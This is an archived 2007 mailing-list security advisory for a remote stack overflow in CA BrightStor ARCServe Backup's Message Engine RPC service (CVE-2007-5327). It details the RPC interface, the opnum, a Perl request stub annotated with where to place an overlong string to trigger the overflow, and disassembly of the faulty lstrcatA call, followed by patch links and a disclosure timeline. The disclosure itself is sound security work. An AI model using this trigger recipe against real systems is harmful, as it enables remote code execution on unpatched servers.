bugtraq - [UPDATE]CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <3d7a6e870712052128w4b7c757cr90d9bca7c85c14dd@mail.gmail.com>
Date: Thu, 6 Dec 2007 13:28:21 +0800
From: cocoruder <cocoruder@...il.com>
To: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: [UPDATE]CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

[UPDATE]CA BrightStor ARCServe BackUp Message Engine Remote Stack
Overflow Vulnerability

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net, updated on 2007.12.06


Summary:

    A remote stack overflow vulnerability exist in the RPC interface
of CA BrightStor ARCServe BackUp. An arbitrary anonymous attacker can
execute arbitrary code on the affected system by exploiting this
vulnerability.


Affected Software Versions:

    CA BrightStor ARCServe BackUp R11.5


Details:

    The flaw specifically exits within the CA BrightStor Message
Engine due to incorrect handling of RPC requests on TCP port 6504. The
interface is identified by 506b1890-14c8-11d1-bbc3-00805fa6962e v1.0.
Opnum 0x10d specifies the vulnerable operation within this interface.

    Function 0x10d's IDL as follows:

    long   sub_28EA5F70 (
     [in] handle_t  arg_1,
     [in, out][size_is(256), length_is(1)] struct struct_2 * arg_2,
     [in][string] char * arg_3,
     [in][string] char * arg_4,
     [in][string] char * arg_5,
     [in][string] char * arg_6,
     [in][string] char * arg_7,
     [in] long  arg_8,
     [out][size_is(arg_1)] byte * arg_9
    );

    The following is the normal stub of this function:

    my $stub=
    "\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

    "\x10\x00\x00\x00\x00\x00\x00\x00".            #point1: the
victim's computer name
    "\x10\x00\x00\x00".
    "kkk-49ade5b31c1".
    "\x00".

    "\x09\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00".    #point2: a
string,set it long
    "Database".
    "\x00\x00\x00\x00".

    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x00\x00\x00".

    "\x1a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00".
    "RemoteDatabaseMachineName".
    "\x00\x00\x00".

    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
    "\x00\x79\x49\x6e\x40\x00\x00\x00";


    When we set #point1 equal to the victim's computer name, and set
#point2 is a long string, there will cause a stack base overflow
vulnerability. The vulnerable code as follows:

    .text:25604EF8                 lea     edx, [esp+120h+SubKey]
    .text:25604EFC                 push    offset asc_2561E2BC
    .text:25604F01                 push    edx            ;
    .text:25604F02                 call    edi ; lstrcatA        ;
    .text:25604F04                 lea     eax, [esp+120h+SubKey]
    .text:25604F08                 push    esi            ;
    .text:25604F09                 push    eax
    .text:25604F0A                 call    edi ; lstrcatA        ; overflow!


Solution:

    CA has released an advisory for this vulnerability which is available on:

    http://supportconnectw.ca.com/public/storage/infodocs/basb-secnotice.asp

    Fortinet advisory can be found at:

    http://www.fortiguardcenter.com


CVE Information:

    CVE-2007-5327


Disclosure Timeline:

    2007.04.11        Vendor notified via email
    2007.04.12        Vendor responded
    2007.10.11        Final public disclosure
    2007.10.15        The vendor's patch has not fixed the
vulnerability, notifiy again
    2007.11.29        Recevie the vendor's new patch
    2007.12.04        Confirm the lastest patch successfully
    2007.12.06        Advisory updated


--EOF--